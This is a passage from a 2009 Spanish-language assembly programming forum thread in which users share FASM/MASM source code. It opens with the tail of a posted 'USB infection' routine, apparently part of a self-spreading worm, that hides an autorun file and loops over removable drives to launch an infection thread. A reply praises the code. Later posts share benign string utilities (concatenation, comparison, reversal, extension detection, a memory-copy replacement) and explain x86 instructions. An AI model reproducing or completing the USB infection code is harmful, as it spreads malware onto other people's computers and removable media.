               invoke SetFileAttributesA,[RutaAutorun] ,FILE_ATTRIBUTE_HIDDEN
invoke GlobalFree,[MiAutorun]

invoke GlobalFree,[RutaAutorun]
                .endif
invoke GlobalFree,[MiRutaInfeccionaria]
.endif
.endif

.if byte[ebx] = 0

invoke GlobalFree,[Miruta]
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0
invoke ExitThread,0
.else
add ebx,4
jmp      .bucleDetectaExtraible
.endif
endp

Código (ASM) [Seleccionar]

proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
    mov esi,[@AdrSrc1]
    mov edi,[@AdrDest]

.concat_src1:
    movsb
    cmp byte[esi],0
    jne .concat_src1

    mov esi,[@AdrSrc2]

.concat_src2:
    movsb
    cmp byte[esi],0
    jne .concat_src2

    movsb

    ret
endp

proc ConseguirNombre,ruta ;Funcion que devuelve el nombrer de el archivo.
push ebx
xor ebx,ebx
mov ebx,[ruta]
stdcall len,[ruta]
add ebx,eax
@@:
dec ebx
cmp byte[ebx],5Ch
jne @b
inc ebx
mov eax,ebx
pop ebx
ret
endp 

proc Zerar,Puntero,Cantidad

    push ecx
    push ebx

              mov ecx,[Cantidad]
                 mov ebx,[Puntero]
                .bucle:

                mov byte[ebx+ecx],0
                loop .bucle
                mov byte[ebx],0
                pop ebx
                pop ecx
                ret
endp   
Título: Re: [SRC]Alternativa RtlMoveMemory
Publicado por: Arkangel_0x7C5 en 20 Mayo 2009, 21:28 PM
bueno, ya que estamos con alternativas a apis, yo coloco el mio.

StrCmpW: Compara cadenas UNICODE, si son iguales devuelve error_sucess
Código (asm) [Seleccionar]

StrCmpW proc str1,str2

push ebx
push edx

mov ebx,str1
mov edx,str2

comparando:
movzx eax,word ptr[ebx]
cmp ax,word ptr[edx]
jne diferente
add ebx,2
add edx,2
test ax,ax
jz fin
jmp comparando
diferente:
inc eax
fin:

pop edx
pop ebx

ret

StrCmpW endp
Título: Re: [SRC]Alternativa RtlMoveMemory
Publicado por: ny0x en 20 Mayo 2009, 21:34 PM
cld, movzx, rep movsb, word ptr ?  :o tengo mucho que aprender todavia, felicitaciones por los codes,  ;-)
Título: Re: [SRC]Infección USB
Publicado por: ny0x en 20 Mayo 2009, 21:56 PM
excelente yst infeccion usb,  ;D yo la habia hecho en C pero asm es otro rollo, nada mas que yo mejore mi nivel en asm empiezo a postear mis codes por aqui  ;)
saludos
Título: Re: [SRC]Alternativa RtlMoveMemory
Publicado por: Arkangel_0x7C5 en 20 Mayo 2009, 22:04 PM
como dijo jack el destripador, vamos por partes xD

rep repite una operacion hasta que cx o ecx sean 0.

movsb, movsw, movsd. Mueven el contenido de la direccion de memoria contenida en esi, a la direccion de memoria apuntada por edi y los aumentan o disminullen 1,2,4 respectivamente.

cld borra el falg que indica si se resta o aumenta edi y esi con un movsX
STD hace lo contrario de CLD. Si el flag esta en 1, se disminuiran y en cero se incrementaran.

movzx es como un mov, pero sirve para copiar 1,2,4 bytes en un registro de 32bits. Rellenando lo que falte con zeros.

Byte ptr, word ptr, dwrod ptr es la forma que se usa para decirle al Masm la cantidad de bytes que se quiere leer de memoria.

saludos
Título: Re: [SRC]Alternativa RtlMoveMemory
Publicado por: ny0x en 20 Mayo 2009, 22:15 PM
Citarcomo dijo jack el destripador, vamos por partes xD
XDDDDDDD
ok ya entendi (mas o menos) gracias por la info

P.D eres el arkangel que conozco? ¿gedzac?
Título: SRCs de YST.
Publicado por: YST en 21 Mayo 2009, 08:40 AM
Debido a un problema que me surgio necesite hacer una función que obtenga la extension real de un archivo , se las dejo por si le sirve a alguien.


Código (asm) [Seleccionar]
include 'win32ax.inc'
.code
start:
stdcall DetectaExtención,"SoyUnExe.php.exe.YoSoyLaextensionreal"
invoke MessageBox,0,eax,0,0
invoke ExitProcess,0
;Descripcion: Esta función devuelve la extension de un archivo
; cRuta = Ruta del archivo
; by YST
proc DetectaExtención,cRuta
push ebx esi
xchg eax,[cRuta]
dec eax
.bucle:
inc eax
cmp byte[eax],0
jne .bucle
inc eax
.bucle2:
dec eax
cmp byte[eax],"."
jne .bucle2
xor esi,esi
dec esi
.bucle3:
inc eax
inc esi
cmp byte[eax],0
jne .bucle3
push eax
invoke GlobalAlloc,GPTR,esi
xchg ebx,eax
pop eax
sub eax,esi
stdcall cRtlMoveMemory,ebx,eax,esi
xchg ebx,eax
.salir:
pop  esi ebx
ret
endp
;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
; by YST
proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
push esi edi
xchg edi,[cBuffer]
xchg esi,[Cpuntero]
.bucleb:
dec [cCantidad]
movsb
cmp  [cCantidad],0
jge .bucleb
pop edi esi
ret
endp
.end start
Título: [SRC]StrReverse
Publicado por: YST en 29 Mayo 2009, 09:22 AM
Código (asm) [Seleccionar]
include 'win32ax.inc'
.data
buffer rb 100
.code
start:
stdcall StrReverse,kk,buffer
invoke MessageBox,0,buffer,kk,0
leave
ret
kk: db  "Estoy cifrado",0
proc StrReverse,cCadena,cBuffer
push ebx esi edi eax ecx
mov ebx, [cCadena]
mov esi,[cBuffer]
stdcall Len,ebx
mov ecx,eax
mov al,byte[ebx]
dec ecx
mov edi,0
.bucle:
mov ah,byte[ebx+ecx]
mov byte[esi+edi],ah
inc edi
dec ecx
jecxz .salir
jmp .bucle
.salir:
mov byte[esi+edi],al
mov byte[esi+edi+1],0
pop ecx eax edi esi ebx
ret
endp
proc Len , SRC
push ecx edi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
.end start
Título: Re: SRCs de YST.
Publicado por: Eternal Idol en 29 Mayo 2009, 10:10 AM
YST: por favor usa este hilo de ahora en adelante.

Gracias.
Título: Re: SRCs de YST.
Publicado por: Og. en 30 Mayo 2009, 06:33 AM
Cita de: YST en 29 Mayo 2009, 09:22 AM
borrado por que me canse del foro .

que lastima  :-\
Título: Re: SRCs de YST.
Publicado por: YST en 31 Mayo 2009, 04:39 AM
Cita de: Nphacks en 30 Mayo 2009, 06:33 AM
Cita de: YST en 29 Mayo 2009, 09:22 AM
borrado por que me canse del foro .

que lastima  :-\
Respuesto todo XD!
Título: Re: SRCs de YST.
Publicado por: Amerikano|Cls en 31 Mayo 2009, 07:15 AM
Anda la osa, sigue con esto xD, tendre que leer cada code con detenimiento porque estan de p**a madre  :). Haber si un dia me animo y pongo mis src de java de todo lo que he trabajado  :rolleyes:

salu2
Título: Re: SRCs de YST.
Publicado por: Eternal Idol en 1 Junio 2009, 00:34 AM
Sigue aca (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html).